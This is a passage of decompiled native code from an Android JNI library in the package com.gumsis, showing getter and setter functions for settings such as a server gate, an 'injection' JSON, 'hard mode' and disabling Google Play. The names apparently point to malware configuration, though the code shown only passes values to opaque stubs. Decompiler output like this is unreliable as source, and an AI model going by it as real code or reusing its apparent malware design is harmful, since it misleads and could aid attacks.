int32_t v2 = function_13d4(v1, *(int32_t *)g18, v1); // 0x2308
g28 = v1;
int32_t v3 = function_13d4(v1, v2, v1); // 0x2326
int32_t result = v3; // 0x234c
if (v3 == 0) {
// 0x2330
g28 = v1;
result = function_1404(v1);
// branch -> 0x2338
}
// 0x2338
return result;
}
// Address range: 0x237c - 0x2456
int32_t Java_com_gumsis_Realtalk_getServerGate(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // 0x2386
int32_t result = v1; // r4
*(int32_t *)g18 = v1;
int32_t v2 = *(int32_t *)g18; // 0x23e8
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x2400
g28 = result;
int32_t v4 = function_13d4(result, v3, result); // 0x241e
if (v4 == 0) {
// branch -> 0x2438
} else {
// 0x237c
result = v4;
// branch -> 0x2438
}
// 0x2438
return result;
}
// Address range: 0x2480 - 0x25ac
int32_t Java_com_gumsis_Acrtk_setWriteInjJSON(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x254c
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x2556
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x2576
g28 = result;
function_13f8(result, v3, result);
return result;
}
// Address range: 0x25e4 - 0x26b6
int32_t Java_com_gumsis_Acrtk_getWriteInjJSON(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // 0x25ee
*(int32_t *)g18 = v1;
g28 = v1;
int32_t v2 = function_13d4(v1, *(int32_t *)g18, v1); // 0x2668
g28 = v1;
int32_t v3 = function_13d4(v1, v2, v1); // 0x2686
int32_t result = v3; // 0x26ac
if (v3 == 0) {
// 0x2690
g28 = v1;
result = function_1404(v1);
// branch -> 0x2698
}
// 0x2698
return result;
}
// Address range: 0x26dc - 0x276c
int32_t Java_com_gumsis_Realtalk_getNextServerGate(char * a1) {
// 0x26dc
g28 = (int32_t)a1;
if (function_1410() == 0) {
// 0x2748
return 0;
}
int32_t v1 = 0; // r5
int32_t v2 = 0; // 0x270e
// branch -> 0x270a
int32_t v3; // 0x2718
while (true) {
// 0x270a
if (v2 == 3) {
// 0x2738
// branch -> 0x2748
// 0x2748
return 0;
}
int32_t str = *(int32_t *)((int32_t)&g15 + 4 * v2); // 0x270e
v3 = v1 + 1;
v1 = v3;
if (strcmp((char *)g28, (char *)str) == 0) {
// break -> 0x271e
break;
}
v2 = v3;
// continue -> 0x270a
}
// 0x271e
if (v3 != 3) {
// 0x2750
// branch -> 0x2758
}
// 0x2758
return g28;
}
// Address range: 0x2778 - 0x28a4
int32_t Java_com_gumsis_Realtalk_setServerGate(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x2844
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x284e
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x286e
g28 = result;
function_13f8(result, v3, result);
return result;
}
// Address range: 0x28dc - 0x29a2
int32_t Java_com_gumsis_Realtalk_isHardMode(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // r0
*(int32_t *)g18 = v1;
int32_t v2 = *(int32_t *)g18; // 0x2948
g28 = v1;
int32_t v3 = function_13d4(v1, v2, v1); // 0x2960
g28 = v1;
return function_13e0(v1, v3, v1, v1, 0);
}
// Address range: 0x29c8 - 0x2af4
int32_t Java_com_gumsis_Realtalk_setHardMode(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x2a94
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x2a9e
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x2abe
g28 = result;
function_13f8(result, v3, result);
return result;
}
// Address range: 0x2b2c - 0x2bf2
int32_t Java_com_gumsis_Realtalk_isDisableGp(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // r0
*(int32_t *)g18 = v1;
int32_t v2 = *(int32_t *)g18; // 0x2b98
g28 = v1;
int32_t v3 = function_13d4(v1, v2, v1); // 0x2bb0
g28 = v1;
return function_13e0(v1, v3, v1, v1, 0);
}
// Address range: 0x2c18 - 0x2d44
int32_t Java_com_gumsis_Realtalk_setDisableGp(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x2ce4
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x2cee
g28 = result;
int32_t v3 = function_13d4(result, v2, result); // 0x2d0e
g28 = result;
function_13f8(result, v3, result);
return result;
}
// Address range: 0x2d7c - 0x2e42
int32_t Java_com_gumsis_Realtalk_isPlaySound(int32_t * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // r0
*(int32_t *)g18 = v1;
int32_t v2 = *(int32_t *)g18; // 0x2de8
g28 = v1;
int32_t v3 = function_13d4(v1, v2, v1); // 0x2e00
g28 = v1;
return function_13e0(v1, v3, v1, v1, 0);
}
// Address range: 0x2e68 - 0x2f94
int32_t Java_com_gumsis_Realtalk_setPlaySound(int32_t * a1, int32_t a2, int32_t a3) {
int32_t result = (int32_t)a1; // r0
*(int32_t *)g17 = result;
g28 = result;
int32_t v1 = function_13d4(result, g17, result); // 0x2f34
g28 = result;
int32_t v2 = function_13d4(result, v1, result); // 0x2f3e